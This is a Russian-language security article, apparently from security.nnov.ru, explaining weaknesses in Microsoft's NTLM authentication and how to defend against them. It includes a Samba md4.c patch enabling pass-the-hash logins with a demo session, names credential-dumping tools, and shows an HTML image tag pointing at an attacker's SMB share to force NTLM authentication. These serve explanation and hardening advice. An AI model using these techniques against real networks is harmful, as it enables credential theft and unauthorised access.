новости
статьи
.save ass…

NTLM в корпоративных сетях

введение

Когда полтора десятка лет назад компания Microsoft начала серьезную работу над созданием централизованных сетей масштабов предприятия при работе над операционной системой Windows NT, перед разработчиками была поставлена весьма сложная и новая по тем временам задача - реализовать технологии single sign-on, и One user - one password.

One user - one password (один пользователь - один пароль) означает, что у пользователя должен быть только один пароль. Единый пароль используется для доступа ко всем ресурсам и протоколам сети. Single sign-on (единый вход) подразумевает, что этот пароль указывается всего один раз - при входе пользователя в сеть.

Можно много спорить о преимуществах и недостатках такого подхода, но бесспорно одно - этот подход удобен как для пользователей, так и для разработчиков приложений. Пользователь избавлен от необходимости помнить много паролей и вводить их, а разработчику не надо задумываться над тем, как организовать аутентификацию пользователя.

Для этого необходимо было разработать такую схему аутентификации, которая позволила бы любому сетевому приложению передавать данные аутентификации независимо от сетевого протокола. Так родился NTLM и NTLMSSP (NTLM Security Service Provider) – подсистема, позволяющая любому клиент-серверному приложению использовать NTLM, ничего не зная о его внутренней структуре.

Нельзя сказать, чтобы Microsoft проигнорировал требования безопасности для протокола аутентификации. В общем-то, на тот момент протокол NTLM не был слабее многих уже использовавшихся протоколов, и в чем-то даже лучше. Но сейчас можно с уверенностью сказать, что вместе с протоколом NTLM появилось большое количество проблем, связанных с его безопасностью. Часть проблем вызвана тем, что Microsoft должен был сохранить совместимость с существующими сетями LanManager для MS-DOS и Windows for Workgroups. Другие являются ошибками дизайна и объясняются новизной решаемой проблемы. Третьи являются исключительно криптографическими, так как тогда производители ПО редко имели в штате профессиональных криптоаналитиков.

Проблемы протокола NTLM широко дискутировались, начиная с 1995 года, и обсуждаются до сих пор. Существует ошибочное мнение, что протокол аутентификации Kerberos v5, используемый в сетях Windows 2000 и Windows 2003, полностью снимает проблему NTLM. Это не так, поскольку поддержка NTLM в существующих сетях Windows является обязательной, и любая из сторон, принимающих участие в процессе аутентификации, может инициировать использование этого протокола. По этой причине многие проблемы протокола NTLM остаются актуальными в современных сетях Windows и должны учитываться не только в процессе администрирования сети, но и на этапе ее проектирования.

Я попытался собрать в одном месте информацию, мысли, идеи и проблемы, родившиеся в результате почти десятилетней дискуссии в открытых списках рассылки, а так же личной переписки со многими людьми, которым мне хотелось бы выразить признательность за их помощь, ответы на вопросы и терпение - Urity, Jesper Johansson, Solar Designer, offtopic, Glenn Zorn и многим другим. Так же использовались материалы из постингов Todd Sabin, Luke Kenneth Casson Leighton и Salman Niksefat. Из-за природной лени и отсутствия точных названий и постоянных URL для большинства использованных постингов я не буду делать список литературы в конце статей, пусть это сделает Google.

Мы не будем углубляться в технические детали более, чем это необходимо для понимания проблемы, тем не менее, иногда от читателя потребуются некоторые минимальные представления о процессах аутентификации и авторизации, программировании и криптографии. Чтобы облегчить жизнь читателю, в статье будут встречаться вставки «общеобразовательного» характера.

процесс аутентификации клиент-серверных приложений в сетях Microsoft

Что происходит после нажатия на Ctrl+Alt+Del? Появляется запрос локальной подсистемы безопасности (Local Security Authority, LSA) на ввод имени пользователя и пароля. После ввода пароль хэшируется (криптографический хэш - одностороннее преобразование делающее невозможным, или, по крайней мере, сложным восстановление по нему оригинального пароля) и хэш помещается в хранилище LSA. В открытом виде он больше уже нигде не фигурирует (в старых версиях Windows пароль мог храниться в открытом виде или с обратимым шифрованием, так как старые версии LanManager использовали аутентификацию в открытом тексте, но не будем вспоминать эти времена). Кроме того, к хранилищу LSA нельзя обратиться напрямую стандартными методами. В хранилище хэши находятся до окончания сеанса работы (а иногда и после, это будет рассмотрено далее).

Протокол NTLM относится к семейству challenge-response (запрос-ответ) протоколов. Это означает, что ни пароль, ни его хэш никогда не передаются как есть, вместо этого они используются для генерации ответа (response) на случайный запрос (challenge). Аутентифицирующая сторона сравнивает полученный ответ с вычисленным локально. Генерация и проверка запроса и ответа осуществляется не приложениями, а провайдером NTLMSSP. Данные аутентификации, генерируемые NTLMSSP через специальные функции API (InitializeSecurityContext()/AcceptSecurityContext()), могут быть включены в любой протокол прикладного уровня, упаковка этих данных (называемых security blob – «начинка безопасности») это все, что требуется от приложений с точки зрения NTLMSSP. После успешной проверки подсистема безопасности генерирует токен, который может быть использован серверным приложением с правами локальной системы для имперсонирования пользователя, то есть при подключении пользователя к серверному приложению серверное приложение может работать от его имени. В таком случае пользователь совершает вход на удаленную систему. Возникает вопрос - а может ли серверное приложение обратиться к другим сетевым ресурсам с использованием NTLM, не запрашивая дополнительной аутентификации? Если в хранилище LSA удаленного компьютера нет хэшей пароля пользователя - то это невозможно. Отсюда, например, невозможность прозрачного доступа к сетевому диску из telnet- сеанса или через веб-сервер если доступ через telnet или к веб происходит с NTLM-аутентификацией.

Теоретически все получается замечательно и абсолютно безопасно. Даже запустив приложение с правами пользователя, все равно не возможно получить его пароль или даже хэш. И даже перехватив сеанс и подменив сервер, невозможно получить доступ к другим сетевым ресурсам.

Давайте посмотрим на все это с точки зрения реализации.

хэши NTLM

В семействе протоколов NTLM (как мы увидим далее, NTLM-подобных протоколов несколько) могут использоваться 2 типа хэшей: LM (LanManager) хэш, унаследованный от предыдущих реализаций LanManager и NT (New Technology) хэш, созданный для протокола NTLM. Соответственно, при входе пользователя в систему, как правило, от пароля берутся и хранятся оба этих хэша. Первая версия протокола NTLM для совместимости поддерживала оба ключа (NT- или LM-ключом обычно называют соответствующий хэш пароля). В более поздних реализациях используется только NT-ключ, однако по умолчанию LM-хэш все равно создается при входе и помещается в хранилище LSA. Давайте рассмотрим оба алгоритма хэширования.

LM-ключ получается из пароля в 8-битной OEM кодировке (cp866 для России) с помощью алгоритма DES.

Для справки: DES является симметричным блочным шифром, использующим 56 битный ключ для шифрования 64-битного блока текста. Реально, внутри алгоритма используется 64-битный ключ, однако длина ключа искусственно занижена по непонятным соображениям - 56 битный ключ растягивается за счет вставки дополнительного бита через каждые 7 бит ключа. Поскольку DES обладает относительной стойкостью к атакам известного открытого текста, он может быть использован в качестве криптографической хэш-функции, если в качестве открытого текста использовании какой-либо известный текст, а в качестве ключа - хэшируемое слово. Известный текст может быть либо случайным (в таком случае он называется salt –соль - и хранится вместе с паролем), либо предопределенным, в таком случае он называется Magic Word - заклинание. В классической реализации crypt() в Unix использовался первый подход, в Windows используется магическое слово KGS!@#$% (посмотрите на клавиатуру: наверное, это был чей-то пароль). При использовании в качестве хэш-функции DES генерирует 64-битный хэш по 56-битному тексту.

Поскольку DES позволяет получить хэш лишь от 7-символьного блока, то реально используется пароль из 14 символов (более короткий пароль дополняется нулями), который разбивается на два блока по 7 символов, от каждого из которых независимо вычисляется хэш. В итоге получается 128- битный хэш, склееный из двух частей.

Недостатки алгоритма очевидны. Независимое вычисление двух блоков позволяет и их независимый взлом. Причем для генерации LM-ключа пароль не чувствителен к регистру символов и символы всегда используются в верхнем регистре. Это делает очень эффективной атаку на восстановление пароля методом последовательного перебора (не более 7 символов из очень ограниченного алфавита). Причем длинный пароль легче восстановить, чем более короткий. Например, для пароля из 12 символов, сначала за считанные секунды подбираются последние 5 символов, после чего делается предположение о структуре пароля, и первые 7 символов пароля подбираются по более ограниченному алфавиту. В настоящее время известны очень быстрые реализации DES с использованием 64-битной арифметики, что делает его абсолютно непригодным для криптографии. В общем случае, восстановление пароля по LM- хэшу на современной технике вопрос не более чем нескольких дней. Кроме того, фиксированное магическое слово позволяет использование таблицы заранее посчитанных значений ключей, что делает возможным восстановление пароля по LM-хэшу в реальном времени.

NT-ключ вычисляется с помощью стандартного алгоритма хэширования MD4. Хэш MD4 берется от пароля, записанного в 16-битной кодировке Unicode с последовательностью байт low endian (первым байтом идет номер символа в странице). Пароль вычисляется с учетом регистра. MD4 имеет несколько криптографических проблем, самой большой из них является маленькое время вычисления хэша, что позволяет перебирать достаточно большое количество комбинаций в единицу времени, упрощая, например, атаку по словарю или подбор слабой комбинации символов.

Подсказка: существует большое количество программ для восстановления пароля из NT- или LM-ключа путем подбора по словарю или перебора - John-the- Ripper, LophtCrack, Cain & Abel. При наличии обоих ключей, обычно сначала восстанавливается пароль в верхнем регистре из LM-ключа, затем по NT- ключу восстанавливается регистр пароля. Такой подход, в частности, реализован в программе Cain & Abel, являющейся на сегодня наиболее мощным и универсальным инструментом для выполнения различных задач, связанных с обнаружением слабых конфигураций, в том числе и многих проблем NTLM. Самая быстрая реализация алгоритма DES, ориентированная на взлом LM-ключей - в Solar Designer'овском John-the-Ripper.

Совет: Можно запретить генерацию LM-ключей в системе путем установки в 1 значения NoLmHash в разделе реестра
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.

Несмотря на то, что будет описано ниже, сделать это настоятельно рекомендуется, хотя бы для очистки совести.

кому нужен сломанный ключ?

Как мы уже говорили, NT- и LM-ключи (хэши) генерируются из пароля при входе пользователя в систему, после чего пароль нигде не хранится и никогда не используется. Возникает закономерный вопрос: если у нас есть на руках NT- и LM-хэши, можем ли мы использовать их, например, для аутентификации по сети без восстановления пароля в открытом тексте? Очевидно, да. Начнем с простого случая. Попробуем модифицировать smbclient из состава SAMBA таким образом, чтобы подключаться к удаленному файловому серверу с использованием NT-хэша (как мы знаем, из NT-хэша восстановить пароль гораздо сложнее). Было бы достаточно сложно перелопатить полтора десятка мегабайт исходников SAMBA, если бы мы не знали точно, что NT-ключ - это MD4-хэш. Нам будет достаточно только модифицировать библиотеку md4.c таким образом, чтобы не хэшировать что-то, что уже похоже на хэш. Например то, что состоит из 32-х шестнадцатеричных символов (как мы помним, ключ 128-битный, а пароль приходит в кодировке Unicode, то есть каждый входящий символ занимает 2 байта, получается 64 байта на входе и 16 на выходе).

--- md4.c.orig 2004-04-04 11:37:00.000000000 +0400
+++ md4.c 2004-10-27 23:01:31.000000000 +0400
@@ -130,6 +130,21 @@
C = 0x98badcfe;
D = 0x10325476;
+
+ if(n == 64){
+ int j;
+ unsigned char * hexd = (unsigned char *)"0123456789ABCDEF";
+ for(j = 0; j<16; j++){
+ if(!strchr(hexd, in[(j<<2)]))break;
+ if(in[(j<<2)+1])break;
+ if(!strchr(hexd, in[(j<<2)+2]))break;
+ if(in[(j<<2)+3])break;
+ out[j] = ((strchr(hexd, in[(j<<2)]) - (char *)hexd)<<4);
+ out[j] ^= (strchr(hexd, in[(j<<2)+2]) - (char *)hexd);
+ }
+ if(j == 16) return;
+ }
+
while (n > 64) {

copy64(M, in);
mdfour64(M);


Проверим:

smbclient //WIN2KSRV/shared
added interface ip=192.168.1.1 bcast=192.168.1.255 nmask=255.255.255.0
Got a positive name query response from 192.168.1.2 ( 192.168.1.2 )
Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)
Domain=[WIN2KDOMAIN] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \>


Получилось.

Наверное, у самых вредных возникает вопрос, можно ли проделать подобный трюк, используя сам Windows в качестве клиента? Можно попробовать найти реализацию MD4, используемую для получения хэша при входе пользователя, и подменить ее (модификацией двоичного кода или за счет подмены функции одним из многочисленных способов). Быстрый поиск по системным файлам показывает, что в папке SYSTEM32 около 85 реализаций MD4 (видимо программистам платят по объему двоичного кода), есть и особо подозрительные, например в samlib.dll. Делались и попытки поменять ключи непосредственно в памяти или хранилище, например в статье Hernan Ochoa "Modifying Windows NT Logon Credentials": Но, собственно, статья наша теоретическая и одного эксперимента для подтверждения теории вполне хватает. Урок, который должен быть извлечен - хэш пароля с точки зрения протокола NTLM абсолютно равнозначен самому паролю, возможность получения хэша означает возможность полного использования пароля.

где что хранится

Не следует путать хранилище LSA с защищенным хранилищем (Protected Storage) и бaзой данных SAM (Security Account Manager database). В Protected Storage могут храниться любые данные, помещенные туда приложением (имена и пароли удаленного доступа, электронной почты, аутентификации сайтов и данные для автозаполнения форм). Они могут быть извлечены оттуда в том же виде, в котором были туда положены по запросу приложения через стандартный API. Хэшей паролей пользователя там нет.

В базе данных SAM хранятся локальные учетные записи пользователей (на контроллере домена - доменные), включая пароли в виде NT- и LM-хэшей, что уже несколько интересней. Локальная база данных SAM является кустом системного реестра (то есть частью реестра, хранящейся в отдельном файле). Ранее, если на машине не использовалась утилита syskey, можно было извлечь хэши локальных паролей учетных записей непосредственно из файла или из реестра. Для извлечения хэшей из файла можно было использовать утилиту samdump Дмитрия Андрианова, для извлечения из реестра - pwdump (Jeremy Allison). Однако, утилита syskey шифрует хранящиеся хэши с помощью системного ключа, используя алгоритм RC4. Ключ может храниться на дискете, которую необходимо вставлять при загрузке машины, либо на диске - закрытый паролем (его необходимо вводить при каждой загрузке машины) или в некой обратимой форме. Управлять хранением системного ключа можно с помощью утилиты syskey. Начиная с Windows 2000 syskey c хранением ключа в обратимой форме включен по-умолчанию, что затрудняет извлечение хэшей из SAM стандартным способом. То, что будет извлечено, на самом деле не является хэшем пароля. Pwdump2 (Todd Sabin) обходит защиту syskey, считывая хэши паролей через внутренний API в контексте процесса winlogon, используя технику DLL injection. Pwdump3 (Phil Staubs) использует ту же саму технику в сочетании с Service API для того, чтобы запустить процесс на удаленном компьютере. Для работы всех программ требуется либо физический доступ к компьютеру либо повышенные привилегии (для pwdump2 и pwdump3 - SeDebugPrivilege).

Похожие приемы использовались и для доступа к хранилищу LSA. Lsadump (PaulAshton) использовала недокументированный API LsaRetrievePrivateData() для получения данных из хранилища LSA и могла работать только из-под учетной записи локальной системы. В более поздних системах Microsoft сделал использование этой функции совсем невозможным. Lsadump2 (Todd Sabin) использует ту же технику DLL injection, что и pwdump2 для доступа к секретам LSA через внутренний API lsass и так же требует SeDebugPrivilege.

Наверное, следует так же упомянуть о cached logon credentials (кэшированных удостоверениях). По-умолчанию Windows хранит данные о последних 10 набранных именах пользователей и паролей. Основная цель - дать возможность доменному пользователю войти на компьютер даже в случае отсутствия связи с контроллером домена. Поскольку нет необходимости хранить непосредственно хэш пароля (он будет вычислен при входе пользователя в систему), хранится некое производное значение (MD4 от имени пользователя и NT-хэша). То есть восстановить хэш пароля сложно, но можно попытаться атаковать слабые пароли пользователя. CachedLogonCredentials также хранятся либо в хранилище LSA, либо в разделе реестра NL$. К сожалению, единственное известное средство автоматического доступа к кэшированным паролем, hashpipe (Todd Sabin) на сегодня не является общедоступным. Указанные инструменты больше не поддерживаются разработчиками. Они, и другие тестировавшие утилиты, включая Cain & Abel, также не дают надежного результата в Windows XP SP2, так как Microsoft изменил алгоритм работы winlogon и lsass, однако, для Cain & Abel это, скорее всего, лишь вопрос времени.
Совет: управлять Cached Logon Credentials можно с помощью доменных политик либо при помощи ключа реестра CachedLogonCount в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.

Очень неприятно, если, например, в кэшированных удостоверениях останутся сведения о входе на компьютер администратора домена (это одна из причин управлять компьютером удаленно). Часто можно встретить рекомендацию устанавливать CachedLogonCount в 0, однако наиболее оптимальным представляется значение 1 - это позволяет в отсутствии сетевого подключения войти в систему последнему пользователю – то есть тому, который обычно работает с компьютером.

собственно NTLM

На сегодняшний момент существует две основных версии NTLM. Первая версия NT LanManager 0.12, часто называемая NTLM v1, и NTLM v2. Кроме того, существует несколько основанных на NTLM диалектов, например протокол аутентификации MS-CHAPv2 (MS-CHAP является NTLM 0.12 в чистом виде). Мы подробней остановимся на NTLM 0.12, так как нас будут интересовать его так часто обсуждаемые криптографические уязвимости.

Итак, NTLMSSP генерирует кусочки данных безопасности (security blob), которыми обмениваются клиентское и серверное приложение. Обмен происходит в несколько этапов, и для NTLM 0.12 выглядит следующим образом:

- клиент посылает серверу запрос на аутентификацию;

- сервер отвечает пакетом, в котором указывается выбранная NTLM-аутентификация и поле EncryptionKey которого содержит 64-битный случайный запрос (challenge);

- клиент посылает сообщение, содержащее поля AccountName (учетная запись), PrimaryDomain (домен учетной записи), CaseInsensitivePassword (пароль, не чувствительный к регистру, фактически это LM-ответ) и CaseSensitivePassword (пароль, чувствительный к регистру, фактически NT- ответ). Оба ответа являются 192-битными и вычисляются на основе NT- и LM-ключа по одному и тому же алгоритму. Если соответствующего ключа нет, то и соответствующий ответ будет нулевым.

Давайте проиллюстрируем алгоритм генерации ответа на примере NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (как мы помним, он 128-битный) с 64- битным запросом сервера 0123456789ABCDEF. NT-ответом в этом случае будет DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Сразу должно бросаться в глаза, что не так с этим алгоритмом - проблема та же, что и при вычислении LM-хэша: все три DES-блока вычисляются независимо. Это означает, что и восстанавливаться по известному запросу и ответу они также могут независимо. Для современного PC время восстановление одного блока хэша пароля методом полного перебора составляет порядка нескольких недель и не зависит от сложности пароля. В случае, если имеется LM-ответ, опять же возможна атака на восстановление второй половины пароля в открытом тексте, после чего первая часть даже полным перебором восстанавливается за несколько дней.

Из этого, в сочетании с тем, что имея хэш мы не нуждаемся в пароле в открытом тексте, следует однозначный вывод - NTLM 0.12 и MS-CHAP не должны использоваться для аутентификации в сетях, где возможен перехват трафика. Кроме того, если у внешнего недоверенного сервера есть возможно инициировать прозрачный вход пользователя, то он может использовать переданный ответ для восстановления ключа пользователя. Причем, за счет выбора «хорошего» запроса (например одни нули) взлом ключа может быть организован в реальном времени по заранее просчитанным таблицам. Протокол аутентификации удаленного доступа MS-CHAPv2 является всего лишь расширением протокола MS-CHAP и, соответственно, NTLM 0.12. Изменения состоят в следующем: клиент так же генерирует случайный запрос для сервера, на который сервер должен ответить, то есть аутентификация клиента и сервера является взаимной. Кроме того, запрос сервера попадает в алгоритм генерации ответа в измененном виде (сам алгоритм остается прежним) - берется SHA1 от запроса сервера, запроса клиента и имени пользователя. Это не влияет на сложность атаки на восстановление хэша, так как SHA1 достаточно вычислить лишь один раз, а далее используется тот же алгоритм перебора. Единственным положительным моментом с точки зрения криптографии является то, что в случае подмены сервера нельзя использовать заранее просчитанные таблицы для восстановления хэша путем выбора заранее известного запроса.

Из этого следует, что MS-CHAPv2, который часто используется для аутентификации, например, PPTP-соединений, также ни в коем случае не должен использоваться для аутентификации по недоверенным каналам связи. На сегодня единственный более-менее стойкий протокол парольной аутентификации удаленного доступа - это PEAP (Protected EAP), который, к сожалению, слабо поддерживается, что делает практически невозможным использовать, например, PPTP-туннели с шифрованием MPPE, даже с ключем шифрования большой длины, для построения VPN сетей, так как ключи шифрования MPPE генерируются на основе NT-ключа. Возможность восстановления NT-ключа по данным аутентификации дает, к тому же, возможность восстановить передаваемые данные за весьма короткий срок вне зависимости от длины сеансового ключа.

В NTLMv2 также используется взаимная аутентификация клиента и сервера, но для получения ответа используется гораздо более сильный алгоритм HMAC- MD5.

Для справки: HMAC-MD5 генерирует хэш на основе текста (text) и ключа (key) с использованием стандартного хэша MD5 по следующему алгоритму:
HMAC_MD5(text,key) = MD5 (key xor opad . MD5(key XOR ipad.text))

Где '.' Означает конкатенацию, ipad = 0x36363636363636363636363636363636, opad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C.

Ответ вычисляется следующим образом:

- клиент генерирует ключ (NT2-ключ) используя HMAC_MD5 с NT-ключем в качестве ключа и именем пользователя конкатенированным с именем домена в Unicode в качестве текста;

- клиент генерирует кусок данных (blob), в который входят случайные данные, временная метка, NetBIOS-имя и т. д, всего порядка 64 байт, длина может варьироваться;

- blob конкатенируется с ответом сервера;

- вычисляется HMAC-MD5 c NT2-ключем, полученном на первом шаге в качестве ключа и blob в качестве текста;

- результат конкатенируется с blob. То, что получилось, и есть ответ.

Такой алгоритм генерации ответа при использовании стойких паролей снимает практически все криптографические проблемы, что делает NTLMv2 вполне устойчивым к атакам пассивного прослушивания, тем не менее, разумеется, остается возможность подбора слабых паролей по словарю или полным перебором.

Подсказка: В Cain & Abel реализованы практически все рассмотренные атаки. Кроме того, встроенный снифер с возможностью arp poisoning позволяет перехватывать данные NTLM-аутентификации даже в коммутируемых сетях и автоматически передавать все необходимые данные в подсистему криптографического анализа для различного типа криптографических атак.

Совет: Можно управлять разрешенными протоколами аутентификации и запретить протоколы аутентификации, отличные от NTLMv2, с помощью реестра или доменных политик. За это отвечает ключ реестра LMCompatibilityLevel в разделе HKLM\System\CurrentControlSet\Control\LSA. Возможные значения слудющие:

- посылать NT- и LM-ответы;

- безопасность сеанса NTLM (не затрагивает аутентификацию);

- NTLM-аутентификация, LM ответ не генерируется клиентом, на сервер не влияет;

- NTLMv2-аутентификация, клиент не использует NTLM 0.12;

- NTLM требуется, сервер не принимает LM-ответ;

- NTLMv2 требуется, сервер не принимает NTLM 0.12-аутентификацию.

Как следует из названия, установка высокого LMCompatibilityLevel может повлиять на работу клиентов со старыми ОС.

атаки NTLM-релеинга

Протокол NTLM был специально разработан для того, чтобы обеспечить прозрачный доступ пользователей к ресурсам без лишних вопросов и при этом не зависеть от прикладных и сетевых протоколов. Клиентское приложение, поддерживающее NTLM, просто передает генерируемые подсистемой безопасности данные аутентификации (блобы) серверному приложению. При этом нет никакой привязки данных аутентификации к сетевому протоколу, то есть таким параметрам, как, например, IP-адрес и порт. Это позволяет NTLM-аутентификации проходить через прокси-сервер или маршрутизатор с трансляцией адресов, но это также позволяет и атаки NTLM-релеинга, когда атакующий, не имеющий прямого доступа к сетевым данным между клиентом и сервером, может, однако, перехватывать все передаваемые данные. Единственное необходимое для этого условие (кроме связи с клиентом и сервером на сетевом уровне, разумеется) - это возможность инициировать подключение клиента по протоколу, поддерживающему прозрачную NTLM-аутентификацию. Таким образом, не имея непосредственного доступа к каналу связи, можно организовать ситуацию человека-по-средине (man-in-the-middle).

Итак: атакующий провоцирует клиента на подключение к себе по протоколу, позволяющему NTLM-аутентификацию. После чего атакующий подключается к серверу также по любому протоколу, позволяющему NTLM-аутентификацию. Это не обязательно должен быть тот же протокол, который использует клиент, так как данные аутентификации никак не привязаны к прикладному протоколу и сетевым параметрам. Например, клиент может подключиться к атакующему с использованием файлового протокола CIFS (SMB), а атакующий к серверу - по протоколу telnet. После чего данные аутентификации (блобы) передаются атакующим между клиентом и сервером. По окончании аутентификации клиент считает, что он успешно авторизован сервером, сервер считает, что он авторизовал клиента, а атакующий имеет два авторизованных канала - он выступает от имени сервера для клиента и от имени клиента для сервера.

Спасает ли, хотя бы в какой-то степени, использование NTLMv2 от атак NTLM-релеинга? К сожалению, нет. Поскольку атакующий не применяет криптоанализ, то криптостойкость алгоритма влияния не оказывает. Не оказывает влияния и наличие взаимной аутентификации клиента и сервера. Атакующий пробрасывает все данные аутентификации между ними, поэтому лишний пакет - ответ сервера на запрос клиента - туда так же попадает. Для некоторых протоколов Microsoft советуют применять подпись пакетов, например, SMB signing для CIFS/SMB. К сожалению, подпись SMB спасает лишь в единственной ситуации - она затрудняет подключение к серверу CIFS, требующему подпись. Это делает невозможным использование межпротокольного релеинга NTLM для подключения к серверу CIFS. В случае релеинга от CIFS-клиента к CIFS-серверу у атакующего остается доступ ко всем проходящим данным. Клиент и сервер подписывают данные, но опять эта подпись не привязана к сетевому протоколу, атакующий просто пересылает данные в неизменном виде. Это не дает атакующему возможность вмешаться в передаваемые данные (например, запросить свой файл непосредственно у сервера), однако, если атакующий получил возможность управлять поведением клиента - он может заставить клиента запросить требуемый файл.

На текущий момент существует много способов управлять поведением клиентского приложения. Например, направив пользователя на HTML-страницу, содержащую таг <IMG SRC="\\A.B.C.D\SECRETSHARE\topsecret.doc">, где A.B.C.D - адрес атакующего, можно заставить клиента подключиться к сетевой папке SECRETSHARE атакующего по протоколу CIFS и запросить файл largesecret.doc. Атакующий может перенаправить этот запрос на сервер от имени клиента. При этом все запросы будут подписаны клиентом в случае использования SMB signing.

Атаки NTLM-релеинга обсуждались разными авторами: DilDog в 2000 году в связи с проблемой NTLM-аутентификации в telnet (Internet Explorer к тому времени уже имел опцию не выполнять прозрачную NTLM-аутентификацию в Internet-зоне); 3APA3A в 2001 в связи со SPA-аутентификаией Outlook Express. Salman Niksefat и Haamed Gheibi в 2003м продемонстрировали практическую реализацию NTLM-релеинга из CIFS в CIFS для случая, когда клиент и сервер - это одна и та же машина.

как защищаться от атак NTLM

Основное средство от различных атак перехвата - это, разумеется, шифрование трафика между хостами. Можно найти достаточное количество руководств по внедрению шифрования трафика с помощью политик безопасности IP.

Чтобы предотвратить атаки NTLM-релеинга с помощью протокола CIFS, следует ограничить использование этого протокола. Во-первых подключения по протоколам NetBIOS (TCP/139) и CIFS over TCP (TCP/445) не должны пропускаться не только из внешней сети вовнутрь, но и из внутренней сети наружу. По многим причинам, включая и эту, доступ к ресурсам Internet для пользователей следует организовывать не при помощи трансляции адресов, а с помощью прокси-сервера. Атака NTLM-релеинга с помощью CIFS может быть использована и во внутренней сети с целью повышения привилегий. Чтобы этого не допустить, следует ограничить связь на сетевом уровне между клиентскими компьютерами. В идеальном случае у клиентов должна быть связь только с теми серверами, к которым они должны подключаться. В сетях Windows 2000/XP/2003 такая структура сети легко реализуется за счет применения доменных политик безопасности IP.

Устранив возможности NTLM-атак в CIFS, мы не устраним атаки полностью. Существует большое количество протоколов, поддерживающих NTLM- аутентификацию, а развитие различных сервисов, в том числе и RPC, поверх HTML делает фильтрацию NTLM-аутентификации наружу еще более затруднительной.

Подсказка: в качестве решения можно посоветовать не позволять доступ к сервисам, доступным снаружи, с учетными записями, используемыми во внутренней сети. Для внешних ресурсов лучше использовать аутентификацию на основе сертификатов, во внутренней сети - двухфакторную аутентификацию.

заключение

Я надеюсь, что статья поможет вам учесть особенности протокола NTLM при построении архитектуры и схемы защиты вашей сети или просто понять, что он из себя представляет. C удовольствием приму любые поправки, дополнения и просто комментарии на адрес 3APA3A@security.nnov.ru.



3APA3A, впервые опубликовано на security.nnov.ru
обсудить статью
© сетевые решения
.
.